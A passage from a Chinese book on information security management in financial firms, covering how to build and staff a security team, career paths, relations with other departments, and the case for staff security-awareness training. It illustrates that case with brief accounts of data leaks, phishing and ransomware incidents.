第二步，从“知道不知道”坚持到“知道知道”。要保持对技术学习的强烈意愿和兴趣，坚持不懈地努力，根据清单逐项学习掌握技术要点，第一，摸清技术防控的风险本质和目的；第二，搞清安全技术的原理和内涵；第三，掌握具体的操作方法。做完这三条后，基本上就心中有数了。在互联网时代，只要有心，学习的途径非常多。可以参考的做法是，先通过百度或知乎等网站粗略了解该技术想解决的主要问题和大概原理，再买三本以上的专业书籍阅读理解（一本精读，两本辅助补充），然后找相关的厂商交流如何实践，三个做法可以交叉或者循环进行。

第三步，从“知道知道”潜移默化为“不知道知道”。这个过程的关键在于将外部知识内化为自己的知识，并能够熟练运用。第一，要在实际工作中尽可能多地加以运用；第二，要日常多做深度思考，养成总结、分析、回顾、检讨的习惯；第三，在适当情况下写成文章并与大家分享，强迫使自己的思维趋向结构化。长此以往，就像最厉害的武侠大师一样，能够做到“心中有剑，手中无剑”，即在需要应用知识的时候，形成一种“习惯性输出”，无须临时深度思考，就能手到擒来，运用自如。

经历过上述三步以后，就进入一个新的“不知道不知道—知道不知道—知道知道—不知道知道”的循环，个人的技术水平，也将螺旋上升。




5.6　安全团队建设路径



建设一个好的信息安全团队，不是一蹴而就的。随着金融企业对信息安全保障的要求不断提升，信息安全工作不断成长成熟，信息安全团队也逐步发展壮大。因此，有必要提前设计好信息安全团队的建设路径，安排好不同阶段、不同人数团队的不同工作任务。


1.先找好“唐僧”


首先要找到一个“唐僧”式的人物，作为信息安全团队的领头人。这个人必须有坚定的信念，执着的追求，对目标一以贯之的坚持，才能在重重困难中坚持把信息安全工作做到位。

信息安全团队的领头人，除了自己不畏艰难、苦心修行、日益精进之外，还必须能够对团队产生巨大的影响，至少要做到以下几点：

·努力让团队成员认可信息安全工作的价值，相信自己的价值，感受到被别人认同的价值，这样才能激发每个员工的最大潜力和最强的主观能动性。

·让信息安全工作创造价值。要用“踩油门”的心态和目的，去“踩刹车”，不能习惯性地“踩刹车”，或者一直踩住刹车导致止步不前。最好的做法是，类似开车时候的“切线变道”，“踩刹车”的目的是为了更好地前进。金融企业是经营风险的机构，风险管理能力是核心竞争力，良好的风控措施，是为了更好地发展业务。同样，恰到好处的信息安全管理，也是为了系统更稳定地运行和更好地支持业务，必须努力让这一目标得以实现。

·通过各种量化措施，让安全团队的价值表达、体现出来，方法之一是设置合理的安全监测指标和安全考核指标，体现安全团队对风险的主动发现能力的持续提升，以及安全团队工作绩效的持续改善。

·主动报告和表达，“管理”上级，做好上层领导的工作，争取领导的支持。信息安全是“一把手工程”，获得领导的信任和支持是成败的关键，也是信息安全团队领头人最主要的工作任务之一。


2.通过招聘补充成员


“唐僧”确定以后，其他团队成员也需要陆续到位。如果能找到专业技能非常高超的“孙悟空”，沟通协调能力极强的“猪八戒”，任劳任怨的“沙和尚”，还有平常默默无闻、关键时刻担当顶梁柱的“白龙马”，这样的团队组合就非常完美。这就需要根据企业的实际需要，针对性地找到对应技能的团队成员。

专业的安全人员在市场上很少，而且前面提到的安全团队知识和技能涵盖面非常广，如监管要求、安全标准、网络安全、系统安全、应用安全、数据安全、漏洞挖掘、安全运维、安全开发等，能精通一种都已经极为不易，如果所有的都要精通，基本不可能，要么就是成本极高，不符合安全人员的定位。因此，要逃离招聘的“悖论”（既希望找通才和高端专才，又不愿意付出对等的薪酬），要先考虑清楚重点需要什么样的技能，然后招某一方面技能比较突出的人员，招进来以后其他方面边做边学，掌握至一定程度即可，不求样样精通。

还有一种比较好的方式是，招聘应届生自己培养。这样能根据需要的专业方向，针对性地督促应届生学习，假以时日即可精通某些方面。

总体来说，要招聘到符合目标的人才，不能坐等人家主动过来发现企业的需求、主动投简历，而应该自己到市场上去发现和物色，变“招”为“找”。


3.形成团队“合力”


安全管理要求和安全技术纷繁复杂，靠一两个人全盘掌握几乎不可能，所以安全团队要根据人员特点和专业特长，合理安排角色和分配任务，鼓励每个人在专业路上纵深发展，取长补短，使团队合力最大化。


4.循序渐进地成长


金融企业的信息安全团队，往往是从0起步，兼职、一个人专职、二个人专职、三个人到N个人专职，这样一步一步成长起来的。

金融企业信息安全的职能基本都是确定的，在安全管理和安全技术两个大类下，具体包括监管合规、制度建设、开发安全、运维安全、安全技术等几方面小类的工作。但是处于不同发展阶段的企业，在信息安全管控目标、风险控制范围和深度、剩余风险接受程度上不一样，因此，需要根据信息安全团队的资源情况，确定不同阶段、不同资源条件下需要做到的不同层次的目标，进而确定工作重点和工作方法。团队人数不同，信息安全工作的重点和采用的具体方法也就不同。

（1）兼职的信息安全

信息安全团队建设之初，往往是从综合团队安排一个人兼职承担所有信息安全工作职责。此时金融企业的安全工作，在安全管理方面往往只能做到“被动”式地满足监管要求，基本是来一个文件处理一个文件，来一个检查应对一个检查，发现一个漏洞封堵一个漏洞，很少有主动的检查、评估工作，也很少能举一反三地主动发现漏洞并实现整改。在安全制度建设方面，较难有所建树。

在开发全生命周期的信息安全防控、运维全流程信息安全防控工作中，只能组织开发、运维岗位的人员来配合安全工作，负责开发、运维相关领域的自查和评估。

安全技术方面基本以外包为主，通过外购安全设备和安全服务，来实现最基本的安全工具的部署和应用，此时的安全策略基本上可以先采用“出厂配置”，然后由外购的安全服务来提供定期的分析和调优。此外，通过外购渗透测试和漏洞扫描等服务，来帮助发现信息系统的技术漏洞。

对内外部发现问题的整改督办工作力度难以到位，更多依赖被检查对象的自觉性，基本对方说完成整改，安全人员就接受结果，没有时间和精力去验证结果。

（2）一个人的信息安全

如果有一个专职的信息安全人员，安全管理方面的工作除了被动应对外部检查审计外，已经可以实现一定程度的主动发现风险和主动的安全检查。

在安全制度建设方面，此时可以处于起步阶段，牵头建立起关于加解密管理、数据安全等核心的制度规范。

在运维安全方面，可以组织内部安全自查工作，将安全检查工作划分为机房、网络、系统、应用、终端等多个领域，但只能做到每月轮换一个领域开展自查工作，全年基本覆盖所有领域。检查深度上，可以先做到“从无到有”，离“从有到优”还有一定距离。

开发安全方面，可以建立一定的安全开发规范，提供给开发人员执行，但很难去介入开发过程的监督审核，难以检验开发规范落地效果。

安全技术方面，仍然继续依靠外包资源开展安全工具的维护、策略调优、渗透测试、漏洞扫描等技术防护工作。

对内外部发现问题的整改督办工作力度仍然难以保证，被动接受被检查对象报告的结果，有余力的时候可抽查一定比例的证明材料。

（3）两个人的信息安全

当有两个专职信息安全人员时，安全管理和安全技术就可以各由一个人负责。此时，可以安排两个员工分别开展安全管理和安全技术两个专业领域的学习，往各自的专业领域发展。

安全管理方面，监管要求、行业标准、制度流程可以作为安全管理人员的必备技能，要求必须熟悉、掌握、应用。监管要求的达成应该更加主动，除了必须完成的“功课”外，还应自主对照所有监管要求开展合规性分析，弥补短板。此时的分析，主要在于分析制度、流程、机制是否能达到监管要求，对于执行落地情况较难深入检查验证。

安全制度方面，可以开始规划制度体系，制定企业的整体安全策略，并且对于开发安全、运维安全、信息安全、业务连续性管理、外包管理等建立起总体的管理办法，明确各流程中的安全管理要求。

内部的安全检查应该可以建立常态化机制了。在运维风险管控方面，检查列表覆盖运维工作的关键流程（例如，事件和应急处理、生产变更处理和数据备份管理等几个流程），检查深度上可以开始“从有到优”，更加详细具体。

开发安全方面，可以建立覆盖需求分析、设计、编码、测试、投产全生命周期的应用安全基线和检查列表，交给开发人员自查。可以在关键技术领域参加技术方案评审（例如，加解密方案、互联网应用安全等领域），但对于规范落地的检查仍然难以到位。

安全技术方面，可以开始有一定的自主控制能力，安排一人学习掌握常见安全工具的策略，在外包资源的帮助下，初步具备攻击情况分析和策略调优的能力。

对内外部发现问题的整改督办工作力度增大，参照“二八原则”，对20%重要整改事项的目标效果可以开展验证，对于80%的绝大部分非重要整改事项，仍然继续被动接受结果。

（4）三个人的信息安全

对于中小型金融企业来说，如果能有三个专职信息安全人员，就已经非常幸福了。此时可以组建起独立的安全团队，从中挑选一个作为团队的负责人整体安排工作，最好能挑选一个在安全管理和安全技术方面都有一定的经验的人员来承担，走“广”的路线；另外两人分别担负起安全管理和安全技术的职责，走“专”的路线。

安全管理方面，监管要求的合规性检查应该“地毯式”铺开，自主对照所有监管要求开展合规性分析，除了分析是否有对应的制度、流程和机制来达成监管要求外，对于实际的执行应该通过检查、抽查等方式检验。

安全制度方面，应建立起相对完整的制度体系规划，除了开发、运行等围绕科技项目生命周期的管理制度外，科技管理、外包管理、信息安全管理等科技支撑性质的制度也应该建立起来。有条件的金融企业，可以开展ISO27001信息安全管理体系认证，通过对照标准，建立起完整、规范的体系文件，消除制度空白和盲区，促进制度执行。

内部检查的力度可以进一步增大。在运维风险管控方面，检查列表应该覆盖运维工作的所有流程和所有领域，轮换开展深入检查。除了检查制度、流程、机制是否完整外，更多的重点放在实际执行情况是否符合要求。有条件的金融机构可以申请ISO20000IT服务管理体系认证，建立覆盖运维全流程的体系文件。

开发安全方面，重点要检验需求分析、设计、编码、测试、投产全生命周期的应用安全基线和检查列表的落地情况，通过技术方案评审、开发人员自查、信息安全团队抽查的方式确保规范落地。

安全技术方面，仍然保持一定的自主控制能力，安排一人学习掌握常见安全工具的策略，对攻击情况分析和策略调优的分析更加到位。渗透测试、漏洞扫描工作仍然依靠外部资源开展。

对内外部发现问题的整改督办工作，继续参照“二八原则”开展，但对于20%重要整改事项的目标效果可以开展认真细致的验证，对于80%的非重要整改事项，抽取部分证明材料验证。

（5）N个人的信息安全

从四个人以上的信息安全团队开始，就可以根据“余力”的情况，在安全管理或者安全技术方面分别加强。

安全管理工作，主要从深度、精细度方面提升，监管要求达成情况的检查频率可以提高、抽样比例可以提高；安全制度的体系架构可以继续优化，制度的层级、关联关系可以梳理得很清晰，制度的细则可以覆盖到所有的领域，制度的可执行性可以进一步通过培训、检查、反馈、修订的闭环实现提升，制度的电子化“硬约束”可以逐步增加；内部安全检查可以往纵深发展，覆盖范围、频度、深度可以持续提升，开发安全的规范执行检查应该更加到位。

安全技术工作还是继续依赖外包资源开展，因为金融企业面临的巨大的“黑产”市场，很难靠金融企业自身的寥寥数人来应对，需要依靠专业的安全团队，运用专业的安全工具，才能与专业级的黑客抗衡。但是金融企业需要培养一定的自主掌控能力，特别是要培养安全人员对于业务的理解能力，更多地挖掘业务逻辑方面的漏洞，更好地把控外部安全团队的工作质量。

特别需要说明的是，对于安全技术架构和安全技术基础设施建设的职能，有的金融企业可能会放入队伍更庞大的IT运维团队的职责中。但从专业性、敏感性和安全技术防控的统一性来考虑，最好在人员允许的情况下，逐步调整为安全技术团队负责。

（6）提升人员单位产出：“安全管理技术化，安全技术管理控”

上面的实施路径，是信息安全管理工作的传统路线。由于信息安全岗位始终是职数有限的，管理者更需思考如何提升人员单位产出，在人数受限的情况下实现“弯道超车”。这就需要另外一个招数—“安全管理技术化，安全技术管理控”。

“安全管理技术化”，意思是逐步建立可量化、可视化、一体化、自动化、智能化的信息科技风险管控机制。具体手段包括建设可视化的信息科技风险预警和整改追踪平台；建设自动化、可量化的信息科技风险监测和计量机制；建立程序脚本和检测平台以实现自动化检查；实施安全事件管理平台和运作安全运营中心等。

“安全技术管理控”，意思是不能“唯技术论”。不能认为部署一大堆最先进的安全工具就能防控风险，而应先明确安全技术工具实施是想实现怎样的安全管理工作目标，在技术运用过程中不停地思考和衡量目标是否达成；同时应该将安全工具的应用超越简单的操作层面，进化到不停地开展管理策略和风险监测模型的回顾、检讨、调优，建立跨团队、跨系统、跨平台的一体化管理体系。




5.7　安全人员职业规划



金融企业的信息安全人员，主要分成两类：第一类，专职的信息安全团队成员，其中分为团队负责人、安全管理和安全技术几个子类。第二类，开发或运维团队中从事信息安全工作的人员。

第一类可以由第二类转化而来，第一类的几个子类间也可以相互转化，例如，开发人员转型开发类的信息安全人员，然后转型为专业的安全人员；运维人员转型至运维类的信息安全人员，然后转型为专业的安全人员；安全管理人员可以转型为安全技术人员；安全技术人员也可以转型为安全管理人员。诸如此类。

对于专职的信息安全团队成员来说，如果确定要从事信息安全工作，首先必须先考虑清楚，自己是走安全管理路线，还是走安全技术路线；然后一旦选定，就埋头苦干三年，在自己负责的领域做到极致，从0到1，从1到N不断地学习成长；之后在专业的基础上，继续选择是在深度上继续进阶，还是在广度上拓展；最后，考虑是走向安全团队负责人、CSO（首席安全官）、还是转型去其他团队。对于信息安全团队成员来说，如果想突破信息安全领域转向其他领域工作，就要尽早实现转型，否则难度很大。

对于开发或运维团队中从事信息安全工作的人员来说，角色会有点“尴尬”，似乎既懂开发或者运维、又懂安全，属于复合型跨界人才，但会面临两者都知道、两者都不精的情况，很难在专业能力或者管理能力上有大的突破。所以建议要么尽快转型做安全团队专业人士，要么转型做开发或运维团队专业人士，或者让自己具备能力做团队主管，走管理路线。

总体来说，由于信息安全功能定位的特殊性，信息安全与科技主营功能，以及金融企业的主营业务之间，都有点距离。这也导致了信息安全团队的规模较难壮大，中小型金融企业往往只能安排1~3人专职从事信息安全工作，大型金融企业可以拓展到十人以上，极少数国内大型银行才可能达到几十人的规模。所以，信息安全在金融企业内部的功能相对来说比较局限，只能是一个相对较小的舞台。最高的职位也许能做到安全总监或CSO，大部分充其量就是安全团队主管的角色。这就是安全团队的“天花板”问题，如果“天花板”已经基本确定不会是很高的角色，那么信息安全团队的成员，应该把自己培养修炼成非常“高精尖”的技术专家，或者转型至其他团队，或者走管理路线。

有个不一定绝对、但相对比较真实的说法是：如果你想成为公司的CIO，带领数百上千人的团队，主导公司内部IT，成为老板甚至是董事会眼中的热门人物，那么还是不要选择信息安全，如果你的终极目标是企业的CEO，那么也请尽早离开信息安全领域，去做企业的主营业务。

任何一个硬币都有两面。有利的一面就是，信息安全作为一项基础性功能，已经越来越成为信息科技部门下开发、运维、规划等各子专业的人员必备的技术之一。因此，具备信息安全专业能力，也许可以让信息安全从业人员在转型至信息科技部门的其他专业团队时，更具有差异化的竞争力，而不是让他们一直保持为专门的信息安全专家。

关于安全从业人员职业规划的其他话题，后面第24章还将详细介绍。




5.8　安全团队与其他团队的关系处理



信息安全工作中，绝大部分的落地工作都非信息安全团队自身可以独立完成，而是在其他团队内完成的，需要开发、运维、科技管理等其他团队的密切合作方可达成目标。因此，与其他团队的关系处理，已成为信息安全团队不可回避的工作，甚至在某种程度上成为成败的关键。


1.基本原则


（1）冲突不可避免，但目标必须一致。

任务重、资源紧是科技部内各团队的常态，由于各自工作目标、工作重心、汇报路径的不同，导致其他团队与信息安全团队不可避免会存在一定的冲突。但信息安全工作是保障系统稳定运行、防范攻击的底线要求，所以各个团队必须统一思想，把信息安全的目标作为自己团队的目标之一，认识到大家只是不同的职责分工，但最终目标都是在确保守住风险底线的前提下，大家一起应对不确定性，通过共同协作、互相补位以实现更好的发展。

（2）不得罪人的信息安全团队，不是好的信息安全团队；把天下人得罪光的信息安全团队，也不是好的团队。

信息安全团队之所以要与开发、运维、科技管理等团队保持相互独立，就是要发挥检查和监督职能。如果处处做“和事佬”，生怕得罪人，不敢出具反面意见，信息安全团队只会“和稀泥”，难以体现专业能力。但是，如果时刻以“东厂西厂”的心态来工作，也会成为众矢之的，得不到大家的配合。因此，必须寻求一种平衡，把控住“度”，在守住风险底线的前提下，在关键问题上表达专业意见，在非关键问题上可以适当让步，大家互相妥协，达成一致的目标。

（3）君子和而不同，小人同而不和。

信息安全团队与其他团队共同做事的时候齐心协力，事情做完后大家互不影响，给对方独立的空间，这就是和而不同。比较好的做法是，心理上对别人和睦友善，但是在对待问题的观点上不会一味地附和别人，有自己的主见，能体现专业性。同而不和则恰恰相反，心底可能很嫌弃这些人或事，但在平时别人表达观点的时候为了使自己看起来和大家一致，而一味附和他人观点，这样的做法很难保持自己的独立性和专业性。

（4）风险管理必须以促进业务发展而非阻碍业务发展为目标。

信息安全团队不能一味与其他团队对立或总是“Say no”，而是要更多的思考，如何合法合规地帮助其他团队达成目标。要懂业务、懂开发和运维等科技的其他职能，要深入一线了解现场情况、了解一线的困难和资源状况，帮助他们想办法以最小的代价、最高的效率做到合规。如果只是在旁边观望、挑刺，指手画脚地要求整改，就很容易把自己孤立起来，得不到其他团队的支持。


2.安全团队关系管理


（1）安全与开发

信息安全团队与开发团队，可能是“冲突”最多的两个团队。因为开发团队的天职是高效满足业务需求，如果需要更多地考虑安全控制要求，很可能导致逻辑控制复杂度更高，客户体验受到制约。

信息安全团队必须深入了解安全团队所面临的业务压力，以同理心对待，深入了解技术架构和业务逻辑，并帮助开发人员考虑如何采取最优方案，取得安全性和效率、客户体验的平衡。全生命周期的安全管理措施，制订起来复杂，执行更是艰难，所以信息安全团队要协助开发人员，针对不同安全级别的应用系统，采用不同复杂程度的安全开发基线，避免“一刀切”导致的资源浪费和项目周期延长。

（2）安全与运维

信息安全团队与运维团队，是目标最一致的两个团队，因为运维人员的天职也是风险控制。信息安全团队必须深入了解运维工作流程，理解每一项运维流程设计的必要性，掌握运维关键风险，并在日常工作中帮助运维团队发现风险，提出风险控制的措施，继而通过持续的检查，帮助运维团队巩固落实风险控制措施，降低风险隐患发生的可能性。

（3）安全与科技管理

信息安全团队与科技管理团队，在开发和运维管理的职能上可能会略有重叠。例如，有些安全整改工作同时也是科技管理团队制订的部门工作计划表中的任务，如果双头管理，会给开发和运维团队造成困扰，也会在整个部门的工作上形成重复浪费。所以安全团队应该与科技管理团队多沟通，对于同一件事情大家只开展一次，通过信息的共享实现高效管理。

另一方面，科技管理团队也会有风险。例如，信息科技治理的合理性、部内制度流程的合理性、预算和商务管理工作的合规性、IT资产管理的合规性等，也需要安全团队来检查把关。信息安全团队还必须懂一些科技管理、财务和资产管理等知识，才能更好地发现科技管理中的问题并提出解决建议。

（4）安全与业务

信息安全工作是“后台中的后台”，与业务打交道的时候往往就是在“Say no”的时候，或者是主动出击对业务进行数据安全检查、培训教育、病毒防治等场合。所以业务人员对信息安全人员的感觉很可能是“见到就知道没有好事”。信息安全人员需要摆正心态，向业务人员耐心解释自己工作的出发点和价值。同时需要多学习一些业务知识和业务相关的监管要求，把握住“业务风险”和“科技风险”的边界，属于业务风险性质的决策权交还给业务部门，不要越界干涉，做出“吃力不讨好”的事情。

（5）安全与外包

外包风险是金融企业信息科技风险的重要组成部分之一，信息安全人员经常需要对外包风险进行检查和评估。对于外包人员的管理相对金融机构内部人员来说更难一些，因为没有绩效考核、薪酬奖惩的权利，而且外包人员流动性相对较大，外包风险的处置很可能治标不治本。

信息安全人员需要形成常态化的外包培训机制，经常性、分批次地对外包人员进行信息安全意识教育；对于外包团队的负责人要先开展教育，提高安全意识水平；在合同中增加条款形成法律性的约束，要求现场人员个人签署保密协议；日常检查频度需要提高，最好每月开展外包检查，确保工作长效机制的建立。

（6）安全与监管

金融机构的信息安全团队通常是信息科技部门与监管沟通的“窗口”，一定要掌握好与监管沟通的频率和方式方法。要建立定期沟通报告的机制，多参与监管组织的活动（例如培训、会议、课题研究等），平常就“多露脸”，使监管能了解本企业信息科技工作的亮点，不能等到出事了才第一次被监管感觉到“你的存在”。

针对本企业已知的风险，也需要根据实际情况适当向监管提前报备，同时提供自己的解决方案和整改计划，可以考虑向监管请教同业的实现方式，请他们直接指点，或者创建同业交流的平台，或者安排与相关领域先进同业直接的学习机会，这样就能争取到监管的帮助、支持和理解，减少“意外惊喜”的发生。

不管是与哪一类团队的沟通，信息安全团队都切忌把自己当作局外人，而应设身处地地站在对方角度考虑问题，把发现问题当作双方的目标而非仅仅信息安全团队的绩效，把问题整改当作双方必须共同达成的任务而非仅仅其他团队单方面的工作。这样方可建立良性的沟通机制，从而使得信息安全工作机制得以有效运转。




5.9　小结



本章从信息安全团队建设的“痛点”出发，详细介绍信息安全团队文化建设、意识建设、能力建设、实现步骤、绩效体系建设等，探讨了信息安全从业人员的职业规划路径以及与其他团队的关系处理技巧，可以作为安全团队建设的参考。




第6章　安全培训



随着信息安全技术的蓬勃发展，各个厂家推出了很多功能齐全的产品，金融企业也热衷于使用技术产品来进行防护，但是“技防”永远无法完全取代“人防”的作用，往往花费大量经费建设了很多系统，很大程度上抵挡了从企业外部发起的安全攻击，但对于因内部人员安全意识薄弱而导致的有意或无意的信息泄密，却很难完全避免，所以需要在严格的管理流程、严密的技术控制基础上，形成体系化的安全培训机制，提升内部人员的安全意识水平，才能达到综合化、一体化的防范效果。




6.1　安全培训的问题与“痛点”



安全意识就是“对风险的感知和主动规避”。在个人信息安全意识方面，企业员工普遍有一种“迷之自信”，就像90%的司机都认为自己的驾驶水平高于平均水平一样。但实际上，企业员工的安全意识水平与企业的真实需要之间，往往存在着巨大的鸿沟。




6.1.1　信息安全意识不足的真实案例



我们来看几个因为信息安全意识不足，导致金融企业直接损失或面临重大声誉风险的真实案例。


1.多家商业银行客户信息泄露事件


2012年央视3·15晚会，曝光了一家大型商业银行、一家全国性股份制银行的内部员工，通过中介向外兜售客户个人信息将近3000份，造成3000多万元经济损失的严重事件，对银行的声誉也造成了严重的负面影响。

从表面上看，是商业银行内部员工直接获取客户资料并用于牟利。但究其原因，是商业银行对客户敏感信息的管控要求松懈，员工保密意识、法律意识淡薄。此外，商业银行的数据保密措施及要求存在漏洞，内部员工可以获取大量的客户敏感信息，容易造成有意识（贩卖数据）或无意识（未做好数据保密措施导致数据丢失）的保密信息泄露事件发生。


2.某金融机构密钥遗失事件


某年某月，某金融机构工作人员因管理疏忽，不慎遗失了一份本机构交易系统的密钥，如不法分子拿到该密钥，即可截获破解所有交易信息和客户交易密码，给客户造成重大损失。该机构领导接到报告后，立即指示启动密钥更换工作并在最短的时间内完成，避免了客户资金损失；业务风险防范预案也相应启动，避免了因客户资金损失投诉、媒体舆情报道等带来的声誉风险。

虽然该事件最终没有造成实质性的损失，但潜在的风险隐患和内部付出的管理成本是巨大的。


3.远程办公导致的客户信息泄露


2014年，总部位于美国的某全球知名银行，其高级管理人员为方便工作，开通在家VPN访问内部敏感数据的权限。黑客在攻击该银行的过程中发现该情况并马上在该高级管理人员的家用电脑上植入木马。通过遥控该木马，黑客实现“青蛙跳”进入银行内网，成功窃取了1.4亿个客户的信息，给该银行造成了巨大的损失。


4.钓鱼邮件导致业务瘫痪


2013年，韩国某银行的某员工误打开一封黑客钓鱼邮件并被植入木马，因该行并未限制办公电脑对互联网络的访问，黑客立刻远程遥控该员工电脑并相继攻破部分客户服务系统，在获取海量客户数据后格式化大部分服务器硬盘，造成该行业务完全瘫痪。


5.冒充OA管理员的钓鱼邮件泄露用户名和密码


2014年，某金融企业的部分员工收到了一封来自“Admin”发出的邮件，自称是OA系统的管理员，因为系统升级，需要大家修改用户名和密码，邮件中同时附上了一个网页链接，点击进去后出现用户名、原密码、新密码的输入框。由于该金融企业采用域用户单点登录OA系统和其他内部信息系统，所以该事件造成了几十个客户的域用户名和密码泄露，也就意味着伪装成OA系统管理员的攻击者获取了几十个员工的域用户名和密码，可以登录桌面终端和几乎所有的内部应用系统。幸好该事件在半天内被发现，该金融机构信息技术部门迅速采取行动，通知所有登录过该链接的员工主动修改密码，阻止了后续攻击事件，避免给企业造成实质性损失。


6.某金融机构财务总监被勒索事件


2016年，某金融企业信息科技部门突然收到财务总监（CFO）的电话，其办公电脑突然变成蓝屏，上面有一些英文提示，大意是该电脑中的所有资料已经被加密，需要在五天之内向某国外银行账号缴纳大约相当于人民币6000元的赎金，就可以拿到解密的密钥。

后来查明，该财务总监曾收到过一封标题类似“应收账款”的邮件，以为是供应商催款，但在点击执行附件后，屏幕就不幸中招了。由于缴纳赎金后是否能解决问题尚且是个未知数，该财务总监只好忍痛割爱，让科技人员重装了电脑操作系统，该电脑上所有的历史资料全部丢失。

上面几个案例，都是金融企业员工信息安全意识不足导致的教训，也说明提升员工信息安全意识，减少信息安全事件的发生，对于金融企业来说多么重要。




6.1.2　信息安全培训的必要性



金融行业是直接面向客户且直接与金钱打交道的行业，金融行业员工信息安全意识水平的高低，直接影响信息安全工作的成败，对客户信息和客户资金的安全至关重要。通过信息安全培训提高金融企业员工的信息安全意识水平，将全员信息安全意识的点滴提升作用到具体的工作中，可以成倍地放大信息安全工作的效果。具体来说，金融企业信息安全培训的必要性体现在三方面。


1.金融企业涉及信息的敏感性极高


金融企业是面向广大客户提供金融服务的行业，涉及的信息主要包括：

·与客户相关的信息，主要包括客户基本信息、客户账户信息以及客户交易信息等。这几类信息都涉及广大客户的个人利益和资金安全，互相之间环环相扣，任何一类信息的泄露，都可能对客户的资金安全造成威胁并对金融企业的声誉构成风险，严重的甚至会造成金融秩序混乱、经营活动无法正常开展。因此客户信息的保护成为金融机构信息安全管理工作的重中之重。

·金融企业经营管理活动相关的内部信息，包括战略规划信息、金融产品信息、经营活动信息及相关的报表报告等。这些信息代表了金融企业工作的发展战略、管理政策和营销策略等，能为企业带来经济利益，如果泄露，可能直接或间接影响企业的商业利益，造成金融企业的严重经济损失或经营风险。

金融企业的从业人员，或多或少都会直接或间接地接触到上述内外部敏感信息。大多数信息安全事件的发生都源自于员工主动或被动地泄露信息，员工信息安全意识的提升可以极大地减少安全事件中的内部人为因素，因此金融企业对于信息安全培训必须尤为重视，每位从业人员都需要认真学习、理解、执行信息安全管理规范，提升自身的安全意识，方能切实有效地保护金融企业的客户信息和内部信息。


2.金融企业信息安全的核心问题是人的安全意识


决定一个企业信息安全防护效果的，归根结底还是在于人，人是信息安全中最核心的问题之一。任何的安全管理体系、安全技术、安全产品或服务，都无法保证每一个人远离每一种可能存在的安全风险。因为无论多么严密的管理体系，多么先进的设备，多么严谨的系统，多么完备的数据，如果普通员工的信息安全意识不足，专业人员的信息安全技能不足，都会导致管理流于形式，设备形同虚设，数据空中楼阁。

试想，一个严密的金融机构数据中心机房访问控制系统，如果门口保安无视规则、玩忽职守，随意放人进出，那么再多的安检、门禁、指纹或人脸识别等身份鉴别手段，又有何用？部署最先进的网络安全设备，如果不定期更新安全策略和规则库，不严格对服务器或者终端打上最新的补丁，黑客们岂不是仍然可以“如入无人之境”？再者，花大价钱部署了最佳的桌面安全防护系统，但员工点击了一个钓鱼网站，主动或被动对外发送他们认为无关紧要、实则非常重要而敏感的信息，一切都将功亏一篑。

上述种种情形，都将会给企业带来不可估量的损失。特别是对将信息流和资金流视为命脉的金融企业来说，如果信息安全专业能力不到位，信息安全意识不匹配，客户信息的安全、资金的直接损失，可能是时刻面临的威胁。

因此，员工信息安全意识水平的高低，直接决定了信息安全总体防护水平和信息安全管理工作的成败。通过提升各级员工和外部用户的信息安全意识，让安全专业人员掌握必要的技能，让普通员工养成安全习惯，让外部用户建立自我保护意识，是面对安全威胁的最佳方式。而要达到该目的，就需要在整个金融企业内树立信息安全意识，对各类人员建立针对性的信息安全培训方案，才能提高金融企业的整体信息安全防控水平。


3.金融企业信息安全意识仍然普遍较为薄弱


根据信息安全研究机构的统计，在所有企业的信息安全事故中，只有20%~30%是因为黑客入侵或其他外部原因造成的，70%~80%是由于内部员工的疏忽或有意泄露造成的。

另外，国内一家信息安全专业咨询机构曾经对国内企业员工信息安全意识进行了一项调查，选取了一些基本的信息安全要求对企业员工进行问卷调查，结果如下：

·37.4%的受访者会直接或者简单询问后就让尾随的外部人员直接进入办公场所。

·36.6%的受访者会在办公桌面放密级资料。33%的受访者会在电脑桌面存放密级资料。

·56.8%的受访者采取的是不锁抽屉、不锁抽屉钥匙放在抽屉里、锁抽屉但钥匙放在桌上或笔筒等地方这些不安全的抽屉物品保管行为。

·接近50%的受访者选择不安全的设置电脑屏保、密码方式。选择数字+字母+符号+大小写这种相对最为完全的口令/密码设置规则的人所占比例仅为25.4%。

·当收到熟人发送的自动播放flash动画或邮件内部嵌入的网页时，59.2%的人会看动画、下载动画、浏览网页或点击网页链接。

从以上调查结果可以看出，超过一半以上的企业员工对基本的信息安全要求没有形成相应的意识和行动，企业信息安全工作面临着极大的风险隐患。

虽然没有专门针对金融企业员工信息安全意识调查的具体数据，但从近几年金融企业客户信息泄露、信息安全攻击事件时有发生的现象来看，金融企业的信息安全意识现状也是不容乐观的。

随着金融企业对信息安全的日益重视，大部分金融企业已经投入大量的资金购买安全技术，投入较为充足的人力用于安全管理体系建设，但是，在人员信息安全培训上却投入甚少，往往忽略了人是信息安全管理的最大威胁，人的安全意识薄弱是信息安全管理的最短板。随着业务迅猛发展，金融企业面临的信息安全风险压力越来越大，必须在信息安全培训上加大投入，提升全体员工的安全意识，才可以更好地化解风险。




6.1.3　信息安全培训的“痛点”



随着各类信息安全事件的爆发，金融企业信息安全培训的重要性已经越来越得到重视，部分金融企业开始着手信息安全培训工作，但目前仍存在一些“痛点”。

·未建立系统化的信息安全培训体系。
 大部分金融企业的信息安全培训仍是零散的、随需而做的，尚未形成整体的、有机的、立体的信息安全培训规划，缺乏系统化的信息安全培训体系。

·培训针对性不足，培训内容不接地气。
 大部分金融企业信息安全培训需求分析不到位，经常是一套培训材料就“放之四海而皆准”，不能根据培训对象面临的常见问题和岗位特点定制培训内容，导致培训内容针对性不足，经常不接地气，员工往往“知其然而不知其所以然”，对日常工作不能起到直接的、实质性的帮助，培训工作因此变成了为培训而培训。

·培训形式单一，内容枯燥，素材匮乏，资源不足。
 大部分金融机构采用单一的课堂教学方式培训，缺乏日常碎片式、体验式的素材。枯燥的培训方式自然效果不佳，因此需要创新培训形式，激发员工的兴趣和自主性，促进员工利用碎片化时间主动学习。

·培训参与度不高。
 大部分金融企业的员工都非常忙碌，如果不能正确认识到信息安全培训对他们工作的帮助作用，占用正常工作时间的信息安全培训往往变成了迫于无奈、枯燥无味的“工作任务”，培训过程就成了应付式的参与，能不参加就不参加，即使参加了也是“身在曹营心在汉”，导致培训效果大打折扣。

·未建立培训效果的考核机制。
 大部分金融企业的信息安全培训仅仅有个调查问卷或者随堂测验，未建立起有效的量化考核机制。对于培训内容是否得到执行，安全意识是否有提升，是否作用到金融机构员工的日常工作中，都没有衡量机制。因此需要通过一些技术手段、检查手段、考核机制来促进培训内容的落地执行。

解决上述“痛点”，需要对症下药、因材施教，形成一套覆盖全面、形式多样的信息安全培训体系。可以参考以下步骤实施：

